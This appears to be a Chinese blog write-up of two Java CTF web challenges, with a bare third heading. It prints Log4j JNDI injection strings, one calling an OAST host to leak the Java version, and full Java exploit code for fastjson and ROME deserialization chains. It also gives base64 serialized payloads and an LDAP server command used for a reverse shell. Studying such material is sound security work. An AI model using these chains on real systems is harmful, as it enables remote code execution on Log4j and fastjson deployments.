[HZNUCTF 2023 final]ezjava

打开靶机其告诉我们会将uri的值计入log,且fastjson的版本为1.2.48首先这个版本的fastjson是不存在我们所俗知的fastjson反序列化漏洞的,其只存在原生反序列化漏洞,而题目说会将内容计入log,着让人想到了log4j的漏洞
从jndi注入到log4j注入
先尝试以下payload

1
${jndi:dns://v73iwpad5ajfj3cacftbwptl7cd31vpk.oastify.com}

可以发现成功进行了dns请求者就证明了此处存在JNDI注入
我们再探测以下java版本

1
${jndi:dns://${sys:java.version}.v73iwpad5ajfj3cacftbwptl7cd31vpk.oastify.com}

可以发现其版本为1.8.0.222这个版本的java是无法直接通过ldap来进行命令执行的
而题目说其fastjson的版本为1.2.48.那么我们就可以使用ldap来触发fastjson原生反序列化从而命令执行
fastjon反序列化
我这里直接使用1.2.83的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package fastjson;

import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class v1_2_83 {
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos=new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser_c.bin");
ObjectOutputStream oos=new ObjectOutputStream(bos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static byte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}

public static void main(String[] args) throws Exception{


TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd,"val",jsonArray);

HashMap hashMap = new HashMap();
hashMap.put(templates,bd);
Serializ(hashMap);
//Unserializ("ser_c.bin");



}
}

我这里直接使用如下项目搭建Ldap服务器
JNDI-Exploit-Bypass-Demo

替换一下HackerLDAPRefServer.java的payload
然后就是
1
2
mvn package
java -cp HackerRMIRefServer-all.jar HackerLDAPRefServer 0.0.0.0 8088 1389

1
?url=${jndi:ldap://ip:1389/a}

成功反弹shell

[长城杯 2022 高校组]b4bycoffee

看源码可以发现器在/b4by/coffee进行了反序列化
且其重写了输入流类,我们看一下

可以发现其禁用了一些常见的命令执行的类

而在CoffeeBean下我们可以发现其调用了defineClass和newInstance来进行获取其类和实例化,那么我们就可以利用这个CoffeeBean来代替TemplatesImpl来进行任意字节码的加载

那么我们向上找Tostring,而我们看依赖可以发现其导入了Remo。那么我们就可以使用HashMap{hashcode}->EqualsBean{toString}->CoffeeBean 来命令执行

前面其实就是Rome链只是最后的改为了CoffBean来命令执行

@RequestBody 将请求对象和CoffeeRequest这个类绑定,这个类是一个有getter setter方法的类。其会将请求的json,进行反序列化,并将对应的值传入setter方法。来得到这个类的实例。

EXP如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

package com.example.b4bycoffee.model;

import com.rometools.rome.feed.impl.EqualsBean;
import com.sun.xml.internal.messaging.saaj.util.ByteInputStream;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;



public class exp {
public static void ser(Object obj) throws IOException {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(obj);
Base64.Encoder encoder = Base64.getEncoder();
System.out.println(encoder.encodeToString(bos.toByteArray()));
}
public static void unser(String str) throws IOException, ClassNotFoundException {
Base64.Decoder decoder = Base64.getDecoder();
byte[] bytes = decoder.decode(str);
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}

public static void main(String[] args) throws Exception {
CoffeeBean coffeeBean = new CoffeeBean();

Class clazz = coffeeBean.getClass();

byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_calc.class"));
byte[][] bytecodes= {code};

Field ClassByte = clazz.getDeclaredField("ClassByte");
ClassByte.setAccessible(true);
ClassByte.set(coffeeBean,code);




EqualsBean equalsBean = new EqualsBean(clazz,coffeeBean);
equalsBean.hashCode();

HashMap<EqualsBean,Integer> map = new HashMap<>();
map.put(equalsBean,1);

ser(map);
unser("rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IAJ2NvbS5yb21ldG9vbHMucm9tZS5mZWVkLmltcGwuRXF1YWxzQmVhbgAAAAAAAAABAgACTAAJYmVhbkNsYXNzdAARTGphdmEvbGFuZy9DbGFzcztMAANvYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHZyACdjb20uZXhhbXBsZS5iNGJ5Y29mZmVlLm1vZGVsLkNvZmZlZUJlYW4Su0c/XbvvMwIAAlsACUNsYXNzQnl0ZXQAAltCTAAEbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwc3EAfgAGdXIAAltCrPMX+AYIVOACAAB4cAAABf7K/rq+AAAANAA2CgAJACUKACYAJwgAKAoAJgApBwAqBwArCgAGACwHAC0HAC4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkx0ZXN0OwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAvAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAqAQAKU291cmNlRmlsZQEACXRlc3QuamF2YQwACgALBwAwDAAxADIBAARjYWxjDAAzADQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAAoANQEABHRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAkADgAAAAwAAQAAAAUADwAQAAAAAQARABIAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAABUADgAAACAAAwAAAAEADwAQAAAAAAABABMAFAABAAAAAQAVABYAAgAXAAAABAABABgAAQARABkAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAABoADgAAACoABAAAAAEADwAQAAAAAAABABMAFAABAAAAAQAaABsAAgAAAAEAHAAdAAMAFwAAAAQAAQAYAAgAHgALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAMAAkADwAMAA0ADQAOABYAEAAOAAAADAABAA0ACQAfACAAAAAhAAAABwACTAcAIgkAAQAjAAAAAgAkdAALQ29mZmVlIGJlYW5zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXg=");

}

下面我写一下怎么导入这个jar包吧。(折磨挺久的)

首先因为这个jar包不是库文件,所有我们不能直接右键导入。

我们得使用jadx来反编译。将源码导出,然后导入pom依赖

把jar包托入

除了com.example.b4bycoffee以外其他的都是导入的库。

我们右键将其导出导出到一个新建的maven项目里

导出后改一下包名即可

1
{"Venti":"rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IAJ2NvbS5yb21ldG9vbHMucm9tZS5mZWVkLmltcGwuRXF1YWxzQmVhbgAAAAAAAAABAgACTAAJYmVhbkNsYXNzdAARTGphdmEvbGFuZy9DbGFzcztMAANvYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHZyACdjb20uZXhhbXBsZS5iNGJ5Y29mZmVlLm1vZGVsLkNvZmZlZUJlYW4Su0c/XbvvMwIAAlsACUNsYXNzQnl0ZXQAAltCTAAEbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwc3EAfgAGdXIAAltCrPMX+AYIVOACAAB4cAAAAkbK/rq+AAAANAAhCgAHABQKABUAFggAFwoAFQAYBwAZBwAaBwAbAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACNMY29tL2V4YW1wbGUvYjRieWNvZmZlZS9tb2RlbC9jYWxjOwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgACQcAHAwAHQAeAQAEY2FsYwwAHwAgAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAIWNvbS9leGFtcGxlL2I0Ynljb2ZmZWUvbW9kZWwvY2FsYwEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAACAAEACAAJAAEACgAAAC8AAQABAAAABSq3AAGxAAAAAgALAAAABgABAAAAAwAMAAAADAABAAAABQANAA4AAAAIAA8ACQABAAoAAABPAAIAAQAAAA64AAISA7YABFenAARLsQABAAAACQAMAAUAAwALAAAAEgAEAAAABgAJAAoADAAIAA0ACwAMAAAAAgAAABAAAAAHAAJMBwARAAABABIAAAACABN0AAtDb2ZmZWUgYmVhbnNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABeA=="}

[NCTF 2023]EvilMQ